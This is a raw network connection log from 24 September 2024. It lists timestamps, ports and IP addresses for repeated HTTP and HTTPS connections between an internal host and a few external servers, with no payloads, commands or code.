Sep 24, 2024 16:31:07.530635118 CEST	80	49809	64.188.18.75	192.168.11.30
Sep 24, 2024 16:31:07.530702114 CEST	80	49809	64.188.18.75	192.168.11.30
Sep 24, 2024 16:31:07.530714035 CEST	80	49809	64.188.18.75	192.168.11.30
Sep 24, 2024 16:31:07.530725002 CEST	80	49809	64.188.18.75	192.168.11.30
Sep 24, 2024 16:31:07.530808926 CEST	80	49809	64.188.18.75	192.168.11.30
Sep 24, 2024 16:31:07.530834913 CEST	80	49809	64.188.18.75	192.168.11.30
Sep 24, 2024 16:31:07.530927896 CEST	49809	80	192.168.11.30	64.188.18.75
Sep 24, 2024 16:31:07.530927896 CEST	49809	80	192.168.11.30	64.188.18.75
Sep 24, 2024 16:31:07.531095028 CEST	49809	80	192.168.11.30	64.188.18.75
Sep 24, 2024 16:31:07.639326096 CEST	80	49809	64.188.18.75	192.168.11.30
Sep 24, 2024 16:31:07.639424086 CEST	80	49809	64.188.18.75	192.168.11.30
Sep 24, 2024 16:31:07.639437914 CEST	80	49809	64.188.18.75	192.168.11.30
Sep 24, 2024 16:31:07.639543056 CEST	49809	80	192.168.11.30	64.188.18.75
Sep 24, 2024 16:31:07.639553070 CEST	80	49809	64.188.18.75	192.168.11.30
Sep 24, 2024 16:31:07.639579058 CEST	80	49809	64.188.18.75	192.168.11.30
Sep 24, 2024 16:31:07.639591932 CEST	80	49809	64.188.18.75	192.168.11.30
Sep 24, 2024 16:31:07.639626026 CEST	80	49809	64.188.18.75	192.168.11.30
Sep 24, 2024 16:31:07.639637947 CEST	80	49809	64.188.18.75	192.168.11.30
Sep 24, 2024 16:31:07.639734983 CEST	49809	80	192.168.11.30	64.188.18.75
Sep 24, 2024 16:31:07.639751911 CEST	80	49809	64.188.18.75	192.168.11.30
Sep 24, 2024 16:31:07.639784098 CEST	80	49809	64.188.18.75	192.168.11.30
Sep 24, 2024 16:31:07.639796972 CEST	80	49809	64.188.18.75	192.168.11.30
Sep 24, 2024 16:31:07.639823914 CEST	80	49809	64.188.18.75	192.168.11.30
Sep 24, 2024 16:31:07.639919996 CEST	49809	80	192.168.11.30	64.188.18.75
Sep 24, 2024 16:31:07.639919996 CEST	49809	80	192.168.11.30	64.188.18.75
Sep 24, 2024 16:31:07.639933109 CEST	80	49809	64.188.18.75	192.168.11.30
Sep 24, 2024 16:31:07.640033960 CEST	80	49809	64.188.18.75	192.168.11.30
Sep 24, 2024 16:31:07.640059948 CEST	49809	80	192.168.11.30	64.188.18.75
Sep 24, 2024 16:31:07.640059948 CEST	49809	80	192.168.11.30	64.188.18.75
Sep 24, 2024 16:31:07.640059948 CEST	80	49809	64.188.18.75	192.168.11.30
Sep 24, 2024 16:31:07.640073061 CEST	80	49809	64.188.18.75	192.168.11.30
Sep 24, 2024 16:31:07.640248060 CEST	49809	80	192.168.11.30	64.188.18.75
Sep 24, 2024 16:31:07.640418053 CEST	49809	80	192.168.11.30	64.188.18.75
Sep 24, 2024 16:31:07.748151064 CEST	80	49809	64.188.18.75	192.168.11.30
Sep 24, 2024 16:31:07.748164892 CEST	80	49809	64.188.18.75	192.168.11.30
Sep 24, 2024 16:31:07.748200893 CEST	80	49809	64.188.18.75	192.168.11.30
Sep 24, 2024 16:31:07.748428106 CEST	80	49809	64.188.18.75	192.168.11.30
Sep 24, 2024 16:31:07.748440981 CEST	80	49809	64.188.18.75	192.168.11.30
Sep 24, 2024 16:31:07.748452902 CEST	80	49809	64.188.18.75	192.168.11.30
Sep 24, 2024 16:31:07.748485088 CEST	49809	80	192.168.11.30	64.188.18.75
Sep 24, 2024 16:31:07.748492002 CEST	80	49809	64.188.18.75	192.168.11.30
Sep 24, 2024 16:31:07.748503923 CEST	80	49809	64.188.18.75	192.168.11.30
Sep 24, 2024 16:31:07.748529911 CEST	80	49809	64.188.18.75	192.168.11.30
Sep 24, 2024 16:31:07.748542070 CEST	80	49809	64.188.18.75	192.168.11.30
Sep 24, 2024 16:31:07.748553038 CEST	80	49809	64.188.18.75	192.168.11.30
Sep 24, 2024 16:31:07.748572111 CEST	80	49809	64.188.18.75	192.168.11.30
Sep 24, 2024 16:31:07.748584032 CEST	80	49809	64.188.18.75	192.168.11.30
Sep 24, 2024 16:31:07.748647928 CEST	49809	80	192.168.11.30	64.188.18.75
Sep 24, 2024 16:31:07.748647928 CEST	49809	80	192.168.11.30	64.188.18.75
Sep 24, 2024 16:31:07.748672962 CEST	80	49809	64.188.18.75	192.168.11.30
Sep 24, 2024 16:31:07.748697042 CEST	80	49809	64.188.18.75	192.168.11.30
Sep 24, 2024 16:31:07.748709917 CEST	80	49809	64.188.18.75	192.168.11.30
Sep 24, 2024 16:31:07.748720884 CEST	80	49809	64.188.18.75	192.168.11.30
Sep 24, 2024 16:31:07.748732090 CEST	80	49809	64.188.18.75	192.168.11.30
Sep 24, 2024 16:31:07.748784065 CEST	49809	80	192.168.11.30	64.188.18.75
Sep 24, 2024 16:31:07.748826027 CEST	80	49809	64.188.18.75	192.168.11.30
Sep 24, 2024 16:31:07.748852015 CEST	80	49809	64.188.18.75	192.168.11.30
Sep 24, 2024 16:31:07.748891115 CEST	80	49809	64.188.18.75	192.168.11.30
Sep 24, 2024 16:31:07.748917103 CEST	80	49809	64.188.18.75	192.168.11.30
Sep 24, 2024 16:31:07.748929024 CEST	80	49809	64.188.18.75	192.168.11.30
Sep 24, 2024 16:31:07.748977900 CEST	49809	80	192.168.11.30	64.188.18.75
Sep 24, 2024 16:31:07.748977900 CEST	49809	80	192.168.11.30	64.188.18.75
Sep 24, 2024 16:31:07.749043941 CEST	80	49809	64.188.18.75	192.168.11.30
Sep 24, 2024 16:31:07.749069929 CEST	80	49809	64.188.18.75	192.168.11.30
Sep 24, 2024 16:31:07.749093056 CEST	80	49809	64.188.18.75	192.168.11.30
Sep 24, 2024 16:31:07.749104977 CEST	80	49809	64.188.18.75	192.168.11.30
Sep 24, 2024 16:31:07.749115944 CEST	80	49809	64.188.18.75	192.168.11.30
Sep 24, 2024 16:31:07.749126911 CEST	80	49809	64.188.18.75	192.168.11.30
Sep 24, 2024 16:31:07.749161005 CEST	49809	80	192.168.11.30	64.188.18.75
Sep 24, 2024 16:31:07.749162912 CEST	80	49809	64.188.18.75	192.168.11.30
Sep 24, 2024 16:31:07.749196053 CEST	80	49809	64.188.18.75	192.168.11.30
Sep 24, 2024 16:31:07.749208927 CEST	80	49809	64.188.18.75	192.168.11.30
Sep 24, 2024 16:31:07.749494076 CEST	49809	80	192.168.11.30	64.188.18.75
Sep 24, 2024 16:31:07.749494076 CEST	49809	80	192.168.11.30	64.188.18.75
Sep 24, 2024 16:31:07.857245922 CEST	80	49809	64.188.18.75	192.168.11.30
Sep 24, 2024 16:31:07.857271910 CEST	80	49809	64.188.18.75	192.168.11.30
Sep 24, 2024 16:31:07.857291937 CEST	80	49809	64.188.18.75	192.168.11.30
Sep 24, 2024 16:31:07.857310057 CEST	80	49809	64.188.18.75	192.168.11.30
Sep 24, 2024 16:31:07.857331038 CEST	80	49809	64.188.18.75	192.168.11.30
Sep 24, 2024 16:31:07.857350111 CEST	80	49809	64.188.18.75	192.168.11.30
Sep 24, 2024 16:31:07.857368946 CEST	80	49809	64.188.18.75	192.168.11.30
Sep 24, 2024 16:31:07.857387066 CEST	80	49809	64.188.18.75	192.168.11.30
Sep 24, 2024 16:31:07.857405901 CEST	80	49809	64.188.18.75	192.168.11.30
Sep 24, 2024 16:31:07.857424974 CEST	80	49809	64.188.18.75	192.168.11.30
Sep 24, 2024 16:31:07.857444048 CEST	80	49809	64.188.18.75	192.168.11.30
Sep 24, 2024 16:31:07.857461929 CEST	80	49809	64.188.18.75	192.168.11.30
Sep 24, 2024 16:31:07.857481003 CEST	80	49809	64.188.18.75	192.168.11.30
Sep 24, 2024 16:31:07.857498884 CEST	80	49809	64.188.18.75	192.168.11.30
Sep 24, 2024 16:31:07.857517958 CEST	80	49809	64.188.18.75	192.168.11.30
Sep 24, 2024 16:31:07.857567072 CEST	49809	80	192.168.11.30	64.188.18.75
Sep 24, 2024 16:31:07.857655048 CEST	80	49809	64.188.18.75	192.168.11.30
Sep 24, 2024 16:31:07.857680082 CEST	80	49809	64.188.18.75	192.168.11.30
Sep 24, 2024 16:31:07.857700109 CEST	80	49809	64.188.18.75	192.168.11.30
Sep 24, 2024 16:31:07.857753992 CEST	80	49809	64.188.18.75	192.168.11.30
Sep 24, 2024 16:31:07.857774019 CEST	80	49809	64.188.18.75	192.168.11.30
Sep 24, 2024 16:31:07.857814074 CEST	80	49809	64.188.18.75	192.168.11.30
Sep 24, 2024 16:31:07.857832909 CEST	80	49809	64.188.18.75	192.168.11.30
Sep 24, 2024 16:31:07.857851982 CEST	80	49809	64.188.18.75	192.168.11.30
Sep 24, 2024 16:31:07.857871056 CEST	80	49809	64.188.18.75	192.168.11.30
Sep 24, 2024 16:31:07.857891083 CEST	80	49809	64.188.18.75	192.168.11.30
Sep 24, 2024 16:31:07.857908964 CEST	49809	80	192.168.11.30	64.188.18.75
Sep 24, 2024 16:31:07.858079910 CEST	49809	80	192.168.11.30	64.188.18.75
Sep 24, 2024 16:31:07.858081102 CEST	49809	80	192.168.11.30	64.188.18.75
Sep 24, 2024 16:31:07.858138084 CEST	80	49809	64.188.18.75	192.168.11.30
Sep 24, 2024 16:31:07.858190060 CEST	80	49809	64.188.18.75	192.168.11.30
Sep 24, 2024 16:31:07.858225107 CEST	80	49809	64.188.18.75	192.168.11.30
Sep 24, 2024 16:31:07.858262062 CEST	80	49809	64.188.18.75	192.168.11.30
Sep 24, 2024 16:31:07.858280897 CEST	80	49809	64.188.18.75	192.168.11.30
Sep 24, 2024 16:31:07.858319998 CEST	80	49809	64.188.18.75	192.168.11.30
Sep 24, 2024 16:31:07.858340025 CEST	80	49809	64.188.18.75	192.168.11.30
Sep 24, 2024 16:31:07.858417988 CEST	80	49809	64.188.18.75	192.168.11.30
Sep 24, 2024 16:31:07.858421087 CEST	49809	80	192.168.11.30	64.188.18.75
Sep 24, 2024 16:31:07.858442068 CEST	80	49809	64.188.18.75	192.168.11.30
Sep 24, 2024 16:31:07.858465910 CEST	80	49809	64.188.18.75	192.168.11.30
Sep 24, 2024 16:31:07.858494043 CEST	80	49809	64.188.18.75	192.168.11.30
Sep 24, 2024 16:31:07.858517885 CEST	80	49809	64.188.18.75	192.168.11.30
Sep 24, 2024 16:31:07.858553886 CEST	80	49809	64.188.18.75	192.168.11.30
Sep 24, 2024 16:31:07.858576059 CEST	80	49809	64.188.18.75	192.168.11.30
Sep 24, 2024 16:31:07.858597994 CEST	80	49809	64.188.18.75	192.168.11.30
Sep 24, 2024 16:31:07.858597040 CEST	49809	80	192.168.11.30	64.188.18.75
Sep 24, 2024 16:31:07.858619928 CEST	80	49809	64.188.18.75	192.168.11.30
Sep 24, 2024 16:31:07.858639956 CEST	80	49809	64.188.18.75	192.168.11.30
Sep 24, 2024 16:31:07.858660936 CEST	80	49809	64.188.18.75	192.168.11.30
Sep 24, 2024 16:31:07.858683109 CEST	80	49809	64.188.18.75	192.168.11.30
Sep 24, 2024 16:31:07.858704090 CEST	80	49809	64.188.18.75	192.168.11.30
Sep 24, 2024 16:31:07.858726025 CEST	80	49809	64.188.18.75	192.168.11.30
Sep 24, 2024 16:31:07.858747005 CEST	80	49809	64.188.18.75	192.168.11.30
Sep 24, 2024 16:31:07.858767033 CEST	49809	80	192.168.11.30	64.188.18.75
Sep 24, 2024 16:31:07.858768940 CEST	80	49809	64.188.18.75	192.168.11.30
Sep 24, 2024 16:31:07.858767033 CEST	49809	80	192.168.11.30	64.188.18.75
Sep 24, 2024 16:31:07.858791113 CEST	80	49809	64.188.18.75	192.168.11.30
Sep 24, 2024 16:31:07.858813047 CEST	80	49809	64.188.18.75	192.168.11.30
Sep 24, 2024 16:31:07.858844042 CEST	80	49809	64.188.18.75	192.168.11.30
Sep 24, 2024 16:31:07.858865976 CEST	80	49809	64.188.18.75	192.168.11.30
Sep 24, 2024 16:31:07.858886957 CEST	80	49809	64.188.18.75	192.168.11.30
Sep 24, 2024 16:31:07.858908892 CEST	80	49809	64.188.18.75	192.168.11.30
Sep 24, 2024 16:31:07.858918905 CEST	49809	80	192.168.11.30	64.188.18.75
Sep 24, 2024 16:31:07.858931065 CEST	80	49809	64.188.18.75	192.168.11.30
Sep 24, 2024 16:31:07.858952999 CEST	80	49809	64.188.18.75	192.168.11.30
Sep 24, 2024 16:31:07.858974934 CEST	80	49809	64.188.18.75	192.168.11.30
Sep 24, 2024 16:31:07.858997107 CEST	80	49809	64.188.18.75	192.168.11.30
Sep 24, 2024 16:31:07.859086990 CEST	49809	80	192.168.11.30	64.188.18.75
Sep 24, 2024 16:31:07.859252930 CEST	49809	80	192.168.11.30	64.188.18.75
Sep 24, 2024 16:31:07.966357946 CEST	80	49809	64.188.18.75	192.168.11.30
Sep 24, 2024 16:31:07.966468096 CEST	80	49809	64.188.18.75	192.168.11.30
Sep 24, 2024 16:31:07.966547966 CEST	80	49809	64.188.18.75	192.168.11.30
Sep 24, 2024 16:31:07.966609955 CEST	80	49809	64.188.18.75	192.168.11.30
Sep 24, 2024 16:31:07.966670990 CEST	80	49809	64.188.18.75	192.168.11.30
Sep 24, 2024 16:31:07.966732979 CEST	80	49809	64.188.18.75	192.168.11.30
Sep 24, 2024 16:31:07.966758013 CEST	49809	80	192.168.11.30	64.188.18.75
Sep 24, 2024 16:31:07.966758013 CEST	49809	80	192.168.11.30	64.188.18.75
Sep 24, 2024 16:31:07.966794014 CEST	80	49809	64.188.18.75	192.168.11.30
Sep 24, 2024 16:31:07.966855049 CEST	80	49809	64.188.18.75	192.168.11.30
Sep 24, 2024 16:31:07.966917038 CEST	80	49809	64.188.18.75	192.168.11.30
Sep 24, 2024 16:31:07.966927052 CEST	49809	80	192.168.11.30	64.188.18.75
Sep 24, 2024 16:31:07.966976881 CEST	80	49809	64.188.18.75	192.168.11.30
Sep 24, 2024 16:31:07.967037916 CEST	80	49809	64.188.18.75	192.168.11.30
Sep 24, 2024 16:31:07.967093945 CEST	49809	80	192.168.11.30	64.188.18.75
Sep 24, 2024 16:31:07.967097998 CEST	80	49809	64.188.18.75	192.168.11.30
Sep 24, 2024 16:31:07.967159986 CEST	80	49809	64.188.18.75	192.168.11.30
Sep 24, 2024 16:31:07.967221975 CEST	80	49809	64.188.18.75	192.168.11.30
Sep 24, 2024 16:31:07.967267990 CEST	49809	80	192.168.11.30	64.188.18.75
Sep 24, 2024 16:31:07.967268944 CEST	49809	80	192.168.11.30	64.188.18.75
Sep 24, 2024 16:31:07.967268944 CEST	49809	80	192.168.11.30	64.188.18.75
Sep 24, 2024 16:31:07.967283964 CEST	80	49809	64.188.18.75	192.168.11.30
Sep 24, 2024 16:31:07.967345953 CEST	80	49809	64.188.18.75	192.168.11.30
Sep 24, 2024 16:31:07.967406988 CEST	80	49809	64.188.18.75	192.168.11.30
Sep 24, 2024 16:31:07.967432976 CEST	49809	80	192.168.11.30	64.188.18.75
Sep 24, 2024 16:31:07.967468977 CEST	80	49809	64.188.18.75	192.168.11.30
Sep 24, 2024 16:31:07.967530966 CEST	80	49809	64.188.18.75	192.168.11.30
Sep 24, 2024 16:31:07.967592001 CEST	80	49809	64.188.18.75	192.168.11.30
Sep 24, 2024 16:31:07.967605114 CEST	49809	80	192.168.11.30	64.188.18.75
Sep 24, 2024 16:31:07.967606068 CEST	49809	80	192.168.11.30	64.188.18.75
Sep 24, 2024 16:31:07.967652082 CEST	80	49809	64.188.18.75	192.168.11.30
Sep 24, 2024 16:31:07.967714071 CEST	80	49809	64.188.18.75	192.168.11.30
Sep 24, 2024 16:31:07.967773914 CEST	80	49809	64.188.18.75	192.168.11.30
Sep 24, 2024 16:31:07.967818022 CEST	49809	80	192.168.11.30	64.188.18.75
Sep 24, 2024 16:31:07.967818975 CEST	49809	80	192.168.11.30	64.188.18.75
Sep 24, 2024 16:31:07.967842102 CEST	80	49809	64.188.18.75	192.168.11.30
Sep 24, 2024 16:31:07.967926025 CEST	80	49809	64.188.18.75	192.168.11.30
Sep 24, 2024 16:31:07.967989922 CEST	80	49809	64.188.18.75	192.168.11.30
Sep 24, 2024 16:31:07.967988968 CEST	49809	80	192.168.11.30	64.188.18.75
Sep 24, 2024 16:31:07.967988968 CEST	49809	80	192.168.11.30	64.188.18.75
Sep 24, 2024 16:31:07.967988968 CEST	49809	80	192.168.11.30	64.188.18.75
Sep 24, 2024 16:31:07.968051910 CEST	80	49809	64.188.18.75	192.168.11.30
Sep 24, 2024 16:31:07.968105078 CEST	49809	80	192.168.11.30	64.188.18.75
Sep 24, 2024 16:31:07.968112946 CEST	80	49809	64.188.18.75	192.168.11.30
Sep 24, 2024 16:31:07.968195915 CEST	80	49809	64.188.18.75	192.168.11.30
Sep 24, 2024 16:31:07.968276978 CEST	49809	80	192.168.11.30	64.188.18.75
Sep 24, 2024 16:31:07.968277931 CEST	49809	80	192.168.11.30	64.188.18.75
Sep 24, 2024 16:31:07.968286991 CEST	80	49809	64.188.18.75	192.168.11.30
Sep 24, 2024 16:31:07.968346119 CEST	80	49809	64.188.18.75	192.168.11.30
Sep 24, 2024 16:31:07.968401909 CEST	80	49809	64.188.18.75	192.168.11.30
Sep 24, 2024 16:31:07.968451023 CEST	49809	80	192.168.11.30	64.188.18.75
Sep 24, 2024 16:31:07.968451023 CEST	49809	80	192.168.11.30	64.188.18.75
Sep 24, 2024 16:31:07.968457937 CEST	80	49809	64.188.18.75	192.168.11.30
Sep 24, 2024 16:31:07.968513966 CEST	80	49809	64.188.18.75	192.168.11.30
Sep 24, 2024 16:31:07.968569040 CEST	80	49809	64.188.18.75	192.168.11.30
Sep 24, 2024 16:31:07.968612909 CEST	49809	80	192.168.11.30	64.188.18.75
Sep 24, 2024 16:31:07.968612909 CEST	49809	80	192.168.11.30	64.188.18.75
Sep 24, 2024 16:31:07.968624115 CEST	80	49809	64.188.18.75	192.168.11.30
Sep 24, 2024 16:31:07.968678951 CEST	80	49809	64.188.18.75	192.168.11.30
Sep 24, 2024 16:31:07.968734980 CEST	80	49809	64.188.18.75	192.168.11.30
Sep 24, 2024 16:31:07.968785048 CEST	49809	80	192.168.11.30	64.188.18.75
Sep 24, 2024 16:31:07.968785048 CEST	49809	80	192.168.11.30	64.188.18.75
Sep 24, 2024 16:31:07.968791008 CEST	80	49809	64.188.18.75	192.168.11.30
Sep 24, 2024 16:31:07.968846083 CEST	80	49809	64.188.18.75	192.168.11.30
Sep 24, 2024 16:31:07.968900919 CEST	80	49809	64.188.18.75	192.168.11.30
Sep 24, 2024 16:31:07.968959093 CEST	80	49809	64.188.18.75	192.168.11.30
Sep 24, 2024 16:31:07.969013929 CEST	80	49809	64.188.18.75	192.168.11.30
Sep 24, 2024 16:31:07.969016075 CEST	49809	80	192.168.11.30	64.188.18.75
Sep 24, 2024 16:31:07.969017029 CEST	49809	80	192.168.11.30	64.188.18.75
Sep 24, 2024 16:31:07.969069958 CEST	80	49809	64.188.18.75	192.168.11.30
Sep 24, 2024 16:31:07.969116926 CEST	80	49809	64.188.18.75	192.168.11.30
Sep 24, 2024 16:31:07.969131947 CEST	49809	80	192.168.11.30	64.188.18.75
Sep 24, 2024 16:31:07.969132900 CEST	49809	80	192.168.11.30	64.188.18.75
Sep 24, 2024 16:31:07.969347000 CEST	49809	80	192.168.11.30	64.188.18.75
Sep 24, 2024 16:31:07.969347000 CEST	49809	80	192.168.11.30	64.188.18.75
Sep 24, 2024 16:31:10.146998882 CEST	49810	80	192.168.11.30	158.101.44.242
Sep 24, 2024 16:31:10.306575060 CEST	80	49810	158.101.44.242	192.168.11.30
Sep 24, 2024 16:31:10.307049036 CEST	49810	80	192.168.11.30	158.101.44.242
Sep 24, 2024 16:31:10.307245016 CEST	49810	80	192.168.11.30	158.101.44.242
Sep 24, 2024 16:31:10.466943026 CEST	80	49810	158.101.44.242	192.168.11.30
Sep 24, 2024 16:31:10.468969107 CEST	80	49810	158.101.44.242	192.168.11.30
Sep 24, 2024 16:31:10.515968084 CEST	49810	80	192.168.11.30	158.101.44.242
Sep 24, 2024 16:31:10.579926968 CEST	49810	80	192.168.11.30	158.101.44.242
Sep 24, 2024 16:31:10.780144930 CEST	80	49810	158.101.44.242	192.168.11.30
Sep 24, 2024 16:31:10.828763008 CEST	49810	80	192.168.11.30	158.101.44.242
Sep 24, 2024 16:31:11.605926991 CEST	49811	443	192.168.11.30	172.67.177.134
Sep 24, 2024 16:31:11.605969906 CEST	443	49811	172.67.177.134	192.168.11.30
Sep 24, 2024 16:31:11.606194973 CEST	49811	443	192.168.11.30	172.67.177.134
Sep 24, 2024 16:31:11.644723892 CEST	49811	443	192.168.11.30	172.67.177.134
Sep 24, 2024 16:31:11.644737959 CEST	443	49811	172.67.177.134	192.168.11.30
Sep 24, 2024 16:31:11.883245945 CEST	443	49811	172.67.177.134	192.168.11.30
Sep 24, 2024 16:31:11.883503914 CEST	49811	443	192.168.11.30	172.67.177.134
Sep 24, 2024 16:31:11.889650106 CEST	49811	443	192.168.11.30	172.67.177.134
Sep 24, 2024 16:31:11.889688969 CEST	443	49811	172.67.177.134	192.168.11.30
Sep 24, 2024 16:31:11.890120983 CEST	443	49811	172.67.177.134	192.168.11.30
Sep 24, 2024 16:31:11.937504053 CEST	49811	443	192.168.11.30	172.67.177.134
Sep 24, 2024 16:31:12.575345993 CEST	49811	443	192.168.11.30	172.67.177.134
Sep 24, 2024 16:31:12.616238117 CEST	443	49811	172.67.177.134	192.168.11.30
Sep 24, 2024 16:31:13.031892061 CEST	443	49811	172.67.177.134	192.168.11.30
Sep 24, 2024 16:31:13.032385111 CEST	443	49811	172.67.177.134	192.168.11.30
Sep 24, 2024 16:31:13.032543898 CEST	49811	443	192.168.11.30	172.67.177.134
Sep 24, 2024 16:31:13.037396908 CEST	49811	443	192.168.11.30	172.67.177.134
Sep 24, 2024 16:31:13.139579058 CEST	49810	80	192.168.11.30	158.101.44.242
Sep 24, 2024 16:31:13.340534925 CEST	80	49810	158.101.44.242	192.168.11.30
Sep 24, 2024 16:31:13.510498047 CEST	80	49810	158.101.44.242	192.168.11.30
Sep 24, 2024 16:31:13.511519909 CEST	49812	443	192.168.11.30	172.67.177.134
Sep 24, 2024 16:31:13.511639118 CEST	443	49812	172.67.177.134	192.168.11.30
Sep 24, 2024 16:31:13.511903048 CEST	49812	443	192.168.11.30	172.67.177.134
Sep 24, 2024 16:31:13.511993885 CEST	49812	443	192.168.11.30	172.67.177.134
Sep 24, 2024 16:31:13.512046099 CEST	443	49812	172.67.177.134	192.168.11.30
Sep 24, 2024 16:31:13.562087059 CEST	49810	80	192.168.11.30	158.101.44.242
Sep 24, 2024 16:31:13.739794016 CEST	443	49812	172.67.177.134	192.168.11.30
Sep 24, 2024 16:31:13.741363049 CEST	49812	443	192.168.11.30	172.67.177.134
Sep 24, 2024 16:31:13.741409063 CEST	443	49812	172.67.177.134	192.168.11.30
Sep 24, 2024 16:31:14.013746023 CEST	443	49812	172.67.177.134	192.168.11.30
Sep 24, 2024 16:31:14.014264107 CEST	443	49812	172.67.177.134	192.168.11.30
Sep 24, 2024 16:31:14.014532089 CEST	49812	443	192.168.11.30	172.67.177.134
Sep 24, 2024 16:31:14.014837980 CEST	49812	443	192.168.11.30	172.67.177.134
Sep 24, 2024 16:31:14.071763992 CEST	49810	80	192.168.11.30	158.101.44.242
Sep 24, 2024 16:31:14.231560946 CEST	80	49810	158.101.44.242	192.168.11.30
Sep 24, 2024 16:31:14.240473986 CEST	80	49810	158.101.44.242	192.168.11.30
Sep 24, 2024 16:31:14.241241932 CEST	49813	443	192.168.11.30	172.67.177.134
Sep 24, 2024 16:31:14.241298914 CEST	443	49813	172.67.177.134	192.168.11.30
Sep 24, 2024 16:31:14.241499901 CEST	49813	443	192.168.11.30	172.67.177.134
Sep 24, 2024 16:31:14.241736889 CEST	49813	443	192.168.11.30	172.67.177.134
Sep 24, 2024 16:31:14.241769075 CEST	443	49813	172.67.177.134	192.168.11.30
Sep 24, 2024 16:31:14.296331882 CEST	49810	80	192.168.11.30	158.101.44.242
Sep 24, 2024 16:31:14.473143101 CEST	443	49813	172.67.177.134	192.168.11.30
Sep 24, 2024 16:31:14.474553108 CEST	49813	443	192.168.11.30	172.67.177.134
Sep 24, 2024 16:31:14.474626064 CEST	443	49813	172.67.177.134	192.168.11.30
Sep 24, 2024 16:31:14.742523909 CEST	443	49813	172.67.177.134	192.168.11.30
Sep 24, 2024 16:31:14.742953062 CEST	443	49813	172.67.177.134	192.168.11.30
Sep 24, 2024 16:31:14.743170977 CEST	49813	443	192.168.11.30	172.67.177.134
Sep 24, 2024 16:31:14.743439913 CEST	49813	443	192.168.11.30	172.67.177.134
Sep 24, 2024 16:31:14.834005117 CEST	49810	80	192.168.11.30	158.101.44.242
Sep 24, 2024 16:31:15.034512043 CEST	80	49810	158.101.44.242	192.168.11.30
Sep 24, 2024 16:31:16.010607958 CEST	80	49810	158.101.44.242	192.168.11.30
Sep 24, 2024 16:31:16.011887074 CEST	49814	443	192.168.11.30	172.67.177.134
Sep 24, 2024 16:31:16.011995077 CEST	443	49814	172.67.177.134	192.168.11.30
Sep 24, 2024 16:31:16.012162924 CEST	49814	443	192.168.11.30	172.67.177.134
Sep 24, 2024 16:31:16.013062954 CEST	49814	443	192.168.11.30	172.67.177.134
Sep 24, 2024 16:31:16.013127089 CEST	443	49814	172.67.177.134	192.168.11.30
Sep 24, 2024 16:31:16.061568022 CEST	49810	80	192.168.11.30	158.101.44.242
Sep 24, 2024 16:31:16.237958908 CEST	443	49814	172.67.177.134	192.168.11.30
Sep 24, 2024 16:31:16.239386082 CEST	49814	443	192.168.11.30	172.67.177.134
Sep 24, 2024 16:31:16.239418030 CEST	443	49814	172.67.177.134	192.168.11.30
Sep 24, 2024 16:31:16.515086889 CEST	443	49814	172.67.177.134	192.168.11.30
Sep 24, 2024 16:31:16.515248060 CEST	443	49814	172.67.177.134	192.168.11.30
Sep 24, 2024 16:31:16.515438080 CEST	49814	443	192.168.11.30	172.67.177.134
Sep 24, 2024 16:31:16.515857935 CEST	49814	443	192.168.11.30	172.67.177.134
Sep 24, 2024 16:31:16.587178946 CEST	49810	80	192.168.11.30	158.101.44.242
Sep 24, 2024 16:31:16.747169971 CEST	80	49810	158.101.44.242	192.168.11.30
Sep 24, 2024 16:31:16.747762918 CEST	80	49810	158.101.44.242	192.168.11.30
Sep 24, 2024 16:31:16.748270035 CEST	49815	443	192.168.11.30	172.67.177.134
Sep 24, 2024 16:31:16.748385906 CEST	443	49815	172.67.177.134	192.168.11.30
Sep 24, 2024 16:31:16.748622894 CEST	49815	443	192.168.11.30	172.67.177.134
Sep 24, 2024 16:31:16.748776913 CEST	49815	443	192.168.11.30	172.67.177.134
Sep 24, 2024 16:31:16.748848915 CEST	443	49815	172.67.177.134	192.168.11.30
Sep 24, 2024 16:31:16.795757055 CEST	49810	80	192.168.11.30	158.101.44.242
Sep 24, 2024 16:31:16.985651970 CEST	443	49815	172.67.177.134	192.168.11.30
Sep 24, 2024 16:31:16.987250090 CEST	49815	443	192.168.11.30	172.67.177.134
Sep 24, 2024 16:31:16.987318039 CEST	443	49815	172.67.177.134	192.168.11.30
Sep 24, 2024 16:31:17.255599022 CEST	443	49815	172.67.177.134	192.168.11.30
Sep 24, 2024 16:31:17.256242037 CEST	443	49815	172.67.177.134	192.168.11.30
Sep 24, 2024 16:31:17.256467104 CEST	49815	443	192.168.11.30	172.67.177.134
Sep 24, 2024 16:31:17.256705046 CEST	49815	443	192.168.11.30	172.67.177.134
Sep 24, 2024 16:31:17.341846943 CEST	49810	80	192.168.11.30	158.101.44.242
Sep 24, 2024 16:31:17.542385101 CEST	80	49810	158.101.44.242	192.168.11.30
Sep 24, 2024 16:31:17.550138950 CEST	80	49810	158.101.44.242	192.168.11.30
Sep 24, 2024 16:31:17.550945044 CEST	49816	443	192.168.11.30	172.67.177.134
Sep 24, 2024 16:31:17.551103115 CEST	443	49816	172.67.177.134	192.168.11.30
Sep 24, 2024 16:31:17.551299095 CEST	49816	443	192.168.11.30	172.67.177.134
Sep 24, 2024 16:31:17.551455975 CEST	49816	443	192.168.11.30	172.67.177.134
Sep 24, 2024 16:31:17.551527977 CEST	443	49816	172.67.177.134	192.168.11.30
Sep 24, 2024 16:31:17.592467070 CEST	49810	80	192.168.11.30	158.101.44.242
Sep 24, 2024 16:31:17.782279015 CEST	443	49816	172.67.177.134	192.168.11.30
Sep 24, 2024 16:31:17.783651114 CEST	49816	443	192.168.11.30	172.67.177.134
Sep 24, 2024 16:31:17.783683062 CEST	443	49816	172.67.177.134	192.168.11.30
Sep 24, 2024 16:31:18.066019058 CEST	443	49816	172.67.177.134	192.168.11.30
Sep 24, 2024 16:31:18.066606998 CEST	443	49816	172.67.177.134	192.168.11.30
Sep 24, 2024 16:31:18.066839933 CEST	49816	443	192.168.11.30	172.67.177.134
Sep 24, 2024 16:31:18.067153931 CEST	49816	443	192.168.11.30	172.67.177.134
Sep 24, 2024 16:31:18.159825087 CEST	49810	80	192.168.11.30	158.101.44.242
Sep 24, 2024 16:31:18.319644928 CEST	80	49810	158.101.44.242	192.168.11.30
Sep 24, 2024 16:31:18.897870064 CEST	80	49810	158.101.44.242	192.168.11.30
Sep 24, 2024 16:31:18.898660898 CEST	49817	443	192.168.11.30	172.67.177.134
Sep 24, 2024 16:31:18.898767948 CEST	443	49817	172.67.177.134	192.168.11.30
Sep 24, 2024 16:31:18.898957014 CEST	49817	443	192.168.11.30	172.67.177.134
Sep 24, 2024 16:31:18.899194002 CEST	49817	443	192.168.11.30	172.67.177.134
Sep 24, 2024 16:31:18.899260044 CEST	443	49817	172.67.177.134	192.168.11.30
